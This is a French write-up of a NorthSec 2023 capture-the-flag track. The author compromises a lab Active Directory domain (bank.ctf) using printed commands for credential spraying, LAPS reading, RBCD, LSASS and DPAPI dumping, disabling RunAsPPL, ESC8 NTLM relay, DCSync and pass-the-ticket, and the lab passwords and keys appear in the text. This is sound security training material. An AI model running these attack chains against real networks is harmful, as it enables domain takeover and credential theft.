Le défi a eu lieu pendant Northsec 2023, un événement annuel de cybersécurité qui s’est tenu à Montréal. J’ai eu la chance de participer à cet événement grâce à École 2600.

Pour un peu de contexte, dans le CTF de Northsec, nous incarnions tous des employés de l’entreprise et, dans ce défi, nous étions un employé responsable d’une enquête. En plus de ce scénario, tout le CTF et la piste Windows étaient en IPv6, ce qui posait certains problèmes avec certains outils. Les domaines www.bank.ctf et atm01.bank.ctf nous ont été donnés comme points d’entrée.


Tout d’abord, nous pouvons faire un scan Nmap des deux domaines pour voir quels services sont disponibles :

Nmap scan report for www.bank.ctf (9000:c1f3:fea4:dec1:216:3eff:fec1:d440)
Host is up (0.0080s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http

nmap -Pn -vv www.bank.ctf

Nmap scan report for atm01.bank.ctf (9000:c1f3:fea4:dec1:216:3eff:fe13:ef28)
Host is up (0.018s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpcHe also wrote a writeup : 
445/tcp  open  microsoft-ds
5900/tcp open  vnc

Flag Bonus 1

Sur le premier domaine (www.bank.ctf), nous trouvons un seul service HTTP exposé sur le port 80. Lorsque nous accédons au service HTTP, nous découvrons une application qui nous permet d’observer les transactions financières et le montant de chaque compte. En examinant le code source de chaque page, nous trouvons un flag bonus :

Bonus flag on www.bank.ctf

Flag 1

Sur le deuxième domaine (atm01.bank.ctf), nous avons vu plus tôt qu’un service VNC était disponible et nous constatons que l’accès peut se faire anonymement sans identifiants :

./vncviewer 9000:c1f3:fea4:dec1:216:3eff:fe13:ef28

Une fois connecté en VNC sur le bureau, vous pouvez récupérer le premier flag : First flag on the desktop of atm01.bank.ctf

Flag 2

En listant les fichiers et dossiers sur la machine dans le répertoire C:\Packages, nous trouvons un fichier README.txt dans lequel il nous est expliqué que les mises à jour ont été désactivées car elles ont échoué :

C:\Packages & README.txt on atm01.bank.ctf

Lorsque nous explorons ces dossiers, nous trouvons un script RunUpdate.bat qui affiche ce que nous avons vu précédemment dans le fichier README.txt :

C:\Packages\Scripts folder on atm01.bank.ctf

Le script contient les identifiants du compte de domaine ATMService ainsi qu’une chaîne encodée :

:RunUpdate.bat

:: Mounts the update server and pulls in all code updates.
:: This task is critical to keep the ATM running. Do not disable.

net use z: \\NFS01\atm\packages qb@ZWFVF2$1w$[*= /user:bank\ATMService
copy z:\software C:\Packages

net use * /delete

:: rot47
:: u{pv\a_732_d57g36275ffh_3cbgde5fg`6hc

Contenu de RunUpdate.bat Lorsque nous avons essayé d’utiliser CyberChef avec différentes rotations pour décoder la chaîne, nous avons réalisé qu’il s’agissait de ROT47 et nous avons obtenu le deuxième flag :

Deuxième flag sur CyberChef

Flag 3

Nous pouvons essayer de nous connecter avec le compte que nous avons récupéré précédemment : crackmapexec smb atm01.bank.ctf -u ATMService -p 'qb@ZWFVF2$1w$[*='

Mais nous obtenons l’erreur STATUS_PASSWORD_EXPIRED, ce qui signifie que le mot de passe de l’utilisateur a expiré, mais si nous nous référons à l’article que n00py a écrit, il existe différentes façons de réinitialiser le mot de passe de l’utilisateur. Grâce à l’accès VNC dont nous disposons, nous pouvons l’utiliser pour réinitialiser le mot de passe de l’utilisateur ATMService de manière interactive :

Connexion interactive sur atm01.bank.ctf

Une fois que le mot de passe a été réinitialisé, nous pouvons essayer de l’utiliser sur les machines du domaine pour voir si nous sommes administrateur local sur l’une d’entre elles, mais ce n’est pas le cas :

crackmapexec smb hosts.txt -u 'ATMService' -p 'qb@ZWFVF2$1w[*=1337'

Maintenant que nous avons compromis un compte du domaine, nous allons pouvoir énumérer les droits que nous avons dans le domaine avec SharpHound afin de pouvoir essayer de prendre des privilèges supplémentaires dans le domaine :

.\SharpHound.exe -c All --domaincontroller dc01.bank.ctf J’ai utilisé Sharphound à la place de Rusthound et Bloodhound.py car ce dernier posait des problèmes lorsqu’il était utilisé sur des réseaux IPv6.

Une fois les données récupérées et injectées dans Bloodhound, nous voyons que l’utilisateur ATMService qui avait été compromis précédemment est membre du groupe ATMAccounts qui a des droits GenericAll sur la machine ATM01. Ce droit peut nous permettre de compromettre la machine de plusieurs manières, comme on peut le voir sur TheHackerRecipes :

Droits du compte ATMService sur Bloodhound

First way

En listant les partages de fichiers SMB, on peut observer que LAPS (Local Administrator Password Solution) est déployé sur le domaine Active Directory :

crackmapexec smb targets.txt -u 'ATMService' -p 'qb@ZWFVF2$1w$[*=1337'

Si nous nous référons à notre bible préférée, TheHackerRecipes, nous voyons qu’avec les droits GenericAll sur une machine, nous pouvons lire l’attribut ms-mcs-admpwd qui contient le mot de passe LAPS, celui de l’administrateur RID 500 par défaut. Pour cela, nous avons plusieurs choix possibles : utiliser LAPSDumper ou CrackMapExec :

python3 laps.py -l 'dc01.bank.ctf' -u 'ATMService' -p 'qb@ZWFVF2$1w$[*=1337' -d bank.ctf

Voici la commande pour récupérer LAPS avec CME : crackmapexec smb atm01.bank.ctf -u 'ATMService' -p 'qb@ZWFVF2$1w$[*=1337' --laps'

Nous vérifions avec CME que nous sommes administrateur local avec la mention (Pwn3d!) : crackmapexec smb atm01.bank.ctf -u 'Administrator' -p 'W8Jy&lh5)601ud$' --local-auth

Second way

En regardant à nouveau TheHackerRecipes, nous voyons qu’avec les droits GenericAll sur une machine, nous pouvons également effectuer une RBCD (Resource Based Constrained Delegation). L’objectif est de réécrire l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity de la machine cible avec un compte possédant un SPN (Service Principal Name) que nous contrôlons, afin de pouvoir se faire passer pour un utilisateur sur la machine cible. Nous pourrions également exploiter un RBCD sans SPN, mais cela nécessite de sacrifier un compte, et actuellement nous n’avons qu’un seul compte, donc ce serait un peu bête de le rendre inutilisable.

Lorsque nous examinons les prérequis pour pouvoir utiliser un RBCD, nous voyons qu’à un moment donné, nous devons disposer d’un compte avec un SPN. général, nous créons un compte machine joint au domaine car ce compte machine a plusieurs SPN par défaut. Pour pouvoir joindre une machine au domaine, le MAQ (Machine Account Quota) ne doit pas être à 0. Le problème ici est que le MAQ est précisément à 0 :

crackmapexec ldap dc01.bank.ctf -u 'ATMService' -p 'qb@ZWFVF2$1w$[*=1337 -M maq

Actuellement, nous ne remplissons aucune des conditions préalables pour effectuer un RBCD classique ou un RBCD sans SPN. Nous devons donc trouver un moyen de compromettre un compte avec un SPN.

En continuant nos recherches, nous trouvons une possibilité. Si un compte machine est configuré comme Pré-Windows 2000, son mot de passe est basé sur son nom. En examinant Bloodhound, nous constatons qu’en effet une machine est configurée de cette manière :

Machine Pré-Windows 2000 dans Bloodhound

Tout d’abord, nous allons récupérer la liste des machines qui sont configurées de cette manière et nous générons le mot de passe associé (en réalité, nous aurions pu le faire manuellement car nous connaissions déjà une machine utilisable, mais c’est pour le fun) :

ldapsearch-ad -l dc01.bank.ctf -d bank.ctf -u 'ATMService' -p 'qb@ZWFVF2$1w$[*=1337' -t search -s '(&(userAccountControl=4128)(logonCount=0))' | tee results.txtcat results.txt | grep "sAMAccountName" | awk '{print $5}' | tee computers.txtcat results.txt | grep "sAMAccountName" | awk '{print tolower($5)}' | tr -d '$' | tee passwords.txt

Nous testons ensuite de nous connecter avec la combinaison que nous avons générée et nous obtenons l’erreur STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT :

crackmapexec smb dc01.bank.ctf -u 'webdev-old$' -p 'webdev-old'

Mais bonne nouvelle, cela signifie que nous avons le bon mot de passe et que nous pouvons exploiter ce compte pour réinitialiser le mot de passe du compte machine avec un mot de passe arbitraire :

De TheHackerRecipes En utilisant rpcchangepwd de la suite impacket, nous allons réinitialiser le mot de passe du compte machine :

python3 rpcchangepwd.py bank.ctf/webdev-old$:webdev-old@dc01.bank.ctf -newpass 'Emzmw^wimqRKy!bs#m5' Maintenant que nous avons les conditions requises pour effectuer un RBCD :

crackmapexec smb dc01.bank.ctf -u 'webdev-old$' -p 'Emzmw^wimqRKy!bs#m5'

Tout d’abord, nous allons réécrire l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity avec le compte machine que nous contrôlons :

rbcd.py -action write -delegate-from 'webdev-old$' -delegate-to 'ATM01$' 'bank.ctf/ATMService:qb@ZWFVF2$1w$[*=1337'`

Maintenant que c’est fait, la machine ATM01 autorise le compte machine que nous contrôlons (webdev-old$) à se faire passer pour n’importe quel utilisateur (à l’exception des utilisateurs de groupe “Protected Users” ou “Account is sensitive and cannot be delegated”) pour accéder aux services ATM01 :

getST.py -spn 'cifs/atm01.bank.ctf' -impersonate administrator  -dc-ip 9000:c1f3:fea4:dec1:216:3eff:fea2:3b2d 'bank.ctf/webdev-old$:Emzmw^wimqRKy!bs#m5'`

Maintenant que nous avons réussi à compromettre la première machine, nous pouvons effectuer une post-exploitation afin de récupérer les différents secrets et mots de passe stockés sur la machine. En utilisant DonPAPI, nous pouvons extraire tous les secrets stockés dans LSA, DPAPI, etc. Cela nous permet de récupérer le troisième flag ainsi qu’un nouveau compte du domaine :

python3 DonPAPI.py Administrator:'W8Jy&lh5)601ud$'@atm01.bank.ctf

Nous aurions également pu extraire les secrets LSA et DPAPI en utilisant CME : crackmapexec smb atm01.bank.ctf -u 'Administrator' -p 'W8Jy&lh5)601ud$' --dpapi --lsa

Flag 4

Nous nous retrouvons dans la même situation qu’auparavant avec le mot de passe du compte BankService qui a expiré :

crackmapexec smb atm01.bank.ctf -u 'BankService' -p 'FLAG-fecad19ad96fa4c7f975e153615ce217'

Nous pouvons réinitialiser le mot de passe du compte BankService de la même manière que précédemment. En diffusant les informations d’identification de ce compte sur les machines du domaine, nous constatons que le compte est administrateur local de la machine ITOPS01 :

crackmapexec smb hosts.txt -u "BankService" -p 'A^!5fy2Rx@Vjz6GF&GJ'

NMaintenant que vous êtes administrateur local, le processus de post-exploitation est le même que précédemment, mais vous ne trouvez pas grand-chose. Alors je décide de déverser lsass en utilisant le module lsassy de CME, mais je n’y parviens pas. Je décide donc de vérifier si RunAsPPL est configuré sur le processus lsass et je vois que c’est effectivement le cas :

crackmapexec smb itops01.bank.ctf -u 'BankService' -p 'A^!5fy2Rx@Vjz6GF&GJ' -M runasppl

Nous ne pourrons donc pas simplement déverser LSASS. À l’aide d’un très bon article d’itm4n sur la protection RunAsPPL, j’ai vu qu’il était possible de désactiver la protection avec un pilote signé numériquement pour supprimer le drapeau de protection de l’objet Process dans le noyau. Nous pouvons utiliser le pilote mimidrv.sys à cette fin, le pilote doit être présent dans le dossier actuel pour être chargé :

Disabled RunASPPL with mimikatz

Et maintenant, nous pouvons utiliser le module lsassy de CME pour déverser LSASS. Cela nous permet de récupérer un nouveau compte du domaine ainsi que le quatrième flag du parcours :

crackmapexec smb itops01.bank.ctf -u 'BankService' -p 'A^!5fy2Rx@Vjz6GF&GJ' -M lsassy

Flag 5

Après avoir obtenu le quatrième flag, je suis resté bloqué un moment car j’avais trop focalisé mon attention sur certains aspects. Mais à un moment donné, j’ai décidé de réessayer d’utiliser l’ESC8 que j’avais envisagé au début du parcours (ce qui m’aurait permis de contourner de nombreuses étapes précédentes). J’avais été bloqué au début car je ne savais pas que nous disposions d’une machine disponible qui nous permettait de recevoir des connexions d’autres machines dans le laboratoire, car les flux sortants vers nos machines étaient bloqués (une restriction de l’infrastructure du Northsec). Une fois que j’ai appris cela, j’ai pu utiliser la machine fournie pour exploiter l’ESC8.

Avant de vous montrer comment cette vulnérabilité peut être exploitée, je vais rapidement vous rappeler comment fonctionne l’ESC8. L’idée est d’exploiter le fait que l’enregistrement web est activé sur le serveur qui agit comme autorité de certification de certificats, dans ce cas, c’est adcs01.bank.ctf. Le fait que l’enregistrement web soit activé nous permet d’exploiter une attaque de relais NTLM pour pouvoir demander un certificat et s’authentifier ensuite avec ce dernier.

La première étape consiste à configurer un ntlmrelayx pour pouvoir recevoir des authentifications NTLM et les relayer vers l’ADCS :

ntlmrelayx.py -t "http://adcs01.bank.ctf/certsrv/certfnsh.asp" --adcs --template "Domain Controller" -smb2support -6

Ensuite, nous allons essayer de récupérer une authentification, pour cela nous pouvons utiliser Coercer qui forcera les comptes machine à s’authentifier sur la machine de notre choix :

Coercer coerce -t dc01.bank.ctf -l 9000:6666:6666:6666:216:3eff:feb1:8d80 -u ATMService -p 'qb@ZWFVF2$1w$[*=1337'

Nous recevons l’authentification et juste après nous recevons un certificat pour le compte DC01$ :

Certificate received in ntlmrelayx

Maintenant que nous avons récupéré notre certificat pour le compte DC01$, nous allons pouvoir nous authentifier avec celui-ci. Nous avons plusieurs possibilités : soit nous nous authentifions avec PKINIT, soit avec Schannel (Secure Channel). Pour me faciliter la tâche, j’aurais voulu utiliser certipy, mais il ne prend pas bien en charge IPv6. Nous allons donc le faire sur Windows en utilisant Rubeus et mimikatz.

Tout d’abord, nous allons récupérer un TGT en tant que DC01$ en utilisant PKINIT : .\Rubeus.exe asktgt /user:"DC01$" /certificate:dc.pfx /domain:"bank.ctf" /dc:"dc01.bank.ctf" /outfile:dc.kirbi Maintenant, nous allons pouvoir utiliser mimikatz pour faire un PassTheTicket : kerberos::ptt dc.kirbi Et maintenant, nous pourrons utiliser DCSync et récupérer les informations d’identification de l’administrateur de domaine, car en effet, les machines n’ont pas de droits par défaut dans Active Directory, à l’exception des contrôleurs de domaine qui ont les privilèges DS-Replication-Get-Changes et DS-Replication-Get-Changes-All sur le domaine : lsadump::dcsync /dc:dc01.bank.ctf /domain:bank.ctf /user:Administrator Nous aurions pu utiliser le hash NT de l’utilisateur pour s’authentifier avec le protocole NTLM, mais l’administrateur de domaine ne peut pas s’authentifier uniquement via le protocole Kerberos. Donc, d’abord, nous faisons une demande de TGT que nous pouvons réutiliser après : getTGT.py bank.ctf/Administrator -aesKey 47b24198259471bb9f177fda869f9d18f88460dcb5c97baf1d78d2d58ef5b3a2 -dc-ip 9000:c1f3:fea4:dec1:216:3eff:fea2:3b2d Maintenant que nous avons réussi à récupérer un TGT en tant qu’administrateur de domaine, nous pouvons nous connecter à la machine et récupérer le cinquième flag du parcours : export KRB5CCNAME=Administrator.ccachepsexec.py BANK.CTF/Administrator@dc01.bank.ctf -k -no-passCinquième flag sur dc01.bank.ctf

Petit bonus pour ceux qui veulent savoir comment nous aurions pu faire avec certipy et CME :

certipy auth -pfx DC01.pfx -dc-ip 9000:c1f3:fea4:dec1:216:3eff:fea2:3b2d -domain bank.ctf -username 'DC01$'

crackmapexec smb dc01.bank.ctf -u 'DC01$' -H 'hash_nt_dc01' --ntds

Flag 6

Une fois que nous sommes administrateurs de domaine, nous voyons apparaître un message sur la plateforme du CTF, où l’on nous parle d’une machine de saut (jump machine) utilisée pour accéder au service de paiement :

Message de la plateforme du CTF

En faisant une post-exploitation, nous trouvons une machine appelée jump01.bank.ctf qui correspond peut-être à cette description. Lorsque nous scannons la machine jump01.bank.ctf, nous ne trouvons aucun port ouvert qui nous permettrait d’y accéder. Cela est dû au pare-feu local de la machine qui bloque tous les flux entrants. Pour contourner ce problème, nous pouvons déployer une règle de pare-feu via un GPO qui nous permettra de désactiver ces restrictions et de communiquer avec la machine. Après un certain temps d’attente, de nouveaux services apparaissent et nous permettent d’obtenir l’accès à la machine (normalement, nous aurions dû attendre 60 minutes pour que le GPO soit déployé, mais le créateur du challenge avait mis une tâche planifiée pour mettre à jour les GPO de la machine afin de réduire ce temps d’attente) :

sudo nmap -sS -vv -Pn -6 jump01.bank.ctf

Maintenant que nous avons accès à la machine et que nous sommes administrateur de domaine, nous pouvons simplement récupérer le sixième flag du parcours :

smbclient.py BANK.CTF/Administrator@jump01.bank.ctf -k -no-pass

Flag 7

Une fois que nous soumettons le sixième flag du parcours, on nous donne le FQDN (Fully Qualified Domain Name) d’une nouvelle machine rabbitmq.bank.ctf ainsi que l’authentification pour accéder au processus de paiement par certificats :

Message de la plateforme du CTF

Tout d’abord, nous pouvons scanner la machine rabbitmq.bank.ctf pour voir les services auxquels nous pouvons accéder sur cette machine et nous voyons que nous avons accès à un service de file d’attente de messages :

Nmap scan report for 9000:c1f3:fea4:dec1:216:3eff:fe38:1827
Host is up, received user-set (0.013s latency).
Scanned at 2023-05-21 23:20:26 CEST for 15s

PORT     STATE SERVICE  REASON  VERSION
5671/tcp open  ssl/amqp syn-ack Advanced Message Queue Protocol
|_amqp-info: ERROR: AMQP:handshake connection closed unexpectedly while reading frame header
| ssl-cert: Subject: commonName=swiftmq.ctf
| Issuer: commonName=swift.ctf
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-04-04T16:59:44
| Not valid after:  2024-04-03T16:59:44
| MD5:   015ca8fb571aa123a2eeb589c44b2979
| SHA-1: e5192906ce40e5ab27bcec957f0ad3a3cccdc133
| -----BEGIN CERTIFICATE-----
| MIICsTCCAZkCFDWMaC2z1Rf7p4PDRJR7YlrIXypeMA0GCSqGSIb3DQEBCwUAMBQx
| EjAQBgNVBAMMCXN3aWZ0LmN0ZjAeFw0yMzA0MDQxNjU5NDRaFw0yNDA0MDMxNjU5
| NDRaMBYxFDASBgNVBAMMC3N3aWZ0bXEuY3RmMIIBIjANBgkqhkiG9w0BAQEFAAOC
| AQ8AMIIBCgKCAQEAhjBTDujgPahenSKZtPOj48feTihL2xOT8XgLPuuGHkcXyNYc
| OS/vuZrYVHL4rxWmKC6EHg+jiURKzzZ6cbwZFutgNfnM587u1vVAuofmibShE8AK
| k+3W9qxQNlpO46eD56Iu8tULLGOVbjHRSj07aiZMkUhs3WXHD41jTugLrkLjgV/I
| NytbIck+xdFWA266SqOU193dhYtmVaZyD9SMdMAuDh2Nj4qMWvCDt0wIqV+Bg5t3
| WX6vM08I79Gj5ojKsEm2nrdzlb8XrnGqedZ0BiyMfwhJXc4pIWfIpY3pXuTE956p
| OQiJuX1BkshcbUzksiOm6Dd3djWk3RBMYuYEJQIDAQABMA0GCSqGSIb3DQEBCwUA
| A4IBAQApSX7Vdt9+23p6sjf9osrN62NQ287sgf3LttQOowQFV9jfnr2+razeiAR8
| ZOQFHSQrYu5mJwkVnjkI/eoqnhgtIq0295UAYM7e0jDs/GMQ+vAPFdE2Ax1sbtaP
| GDYtOeBO20xEGmwiKYP8rcAshItG2J+C1ibouwvroo/uY0VeapptFFdV34IbQ66Z
| q2vfSucl8P9JLaAZ2imcucFcXoIteAUt9DCaj6tU+aHJ4l9GJk7UFfLakCr7E8R4
| fi6gAQ34hsex+GbR56bDK1xb4AB96MVwiO6xcZ0m8GlgoxFmPLowoAKx4zG3uMq7
| 49ydELaH82h07BD2hkVYc6PDyamp
|_-----END CERTIFICATE-----

Host script results:
| address-info:
|   IPv6 EUI-64:
|     MAC address:
|       address: 00163e381827
|_      manuf: Xensource

nmap -Pn -vv -sC -sV -p- rabbitmq.bank.ctf

En faisant une post-exploitation sur la machine jump01.bank.ctf, nous trouvons à la racine de cette dernière un dossier Certs qui contient toutes les informations qui nous permettent de nous authentifier auprès du serveur de file d’attente de messages :

Certificates on jump01.bank.ctf En raison d’une contrainte de temps imposée lors du CTF, je n’ai pas pu terminer la dernière partie du parcours, mais je vous fournis le petit script avec lequel j’ai pu me connecter au serveur de file d’attente de messages en utilisant les certificats que nous avons récupérés précédemment (j’ai beaucoup utilisé la documentation de la bibliothèque Pika) :

import ssl
import pika
import logging


context = ssl.create_default_context(cafile="cert.pem")
context.verify_mode = ssl.CERT_REQUIRED
context.load_cert_chain("client-cert.pem","key.pem")
ssl_options = pika.SSLOptions(context, "swiftmq.ctf")
credentials = pika.credentials.ExternalCredentials()
conn_params = pika.ConnectionParameters(host="rabbitmq.bank.ctf",port=5671,ssl_options=ssl_options,credentials=credentials)

with pika.BlockingConnection(conn_params) as conn:
    ch = conn.channel()

Script to connect to message queue server

Credits

Merci à Maxime Nadeau d’avoir conçu ce challenge qui était vraiment intéressant et amusant à réaliser. Si vous voulez savoir à quoi ressemble le parcours officiel de compromission de la piste, vous pouvez consulter le schéma ci-dessus :

Official path of the track

De plus, Maxime a rédigé un write-up détaillé du CTF, que vous pouvez trouver ici : https://blog.evl.red/northsec/ctf/writeup/2023/04/24/nsec-2023-atm.html


Ressources :